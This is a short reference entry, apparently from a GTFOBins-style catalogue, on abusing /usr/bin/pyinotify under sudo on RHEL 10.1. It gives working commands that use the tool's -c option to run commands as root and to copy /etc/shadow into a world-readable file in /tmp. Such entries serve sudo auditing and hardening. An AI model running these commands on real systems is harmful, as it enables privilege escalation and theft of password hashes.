- Binary
- /usr/bin/pyinotify
- Package
- python3-pyinotify
- Tested on
- RHEL 10.1
Command execution
sudo pyinotify -c 'id > /tmp/proof' -e IN_CREATE /tmp &
touch /tmp/trigger
cat /tmp/proofFile read
sudo pyinotify -c 'cat /etc/shadow > /tmp/shadow && chmod 644 /tmp/shadow' -e IN_CREATE /tmp &
touch /tmp/trigger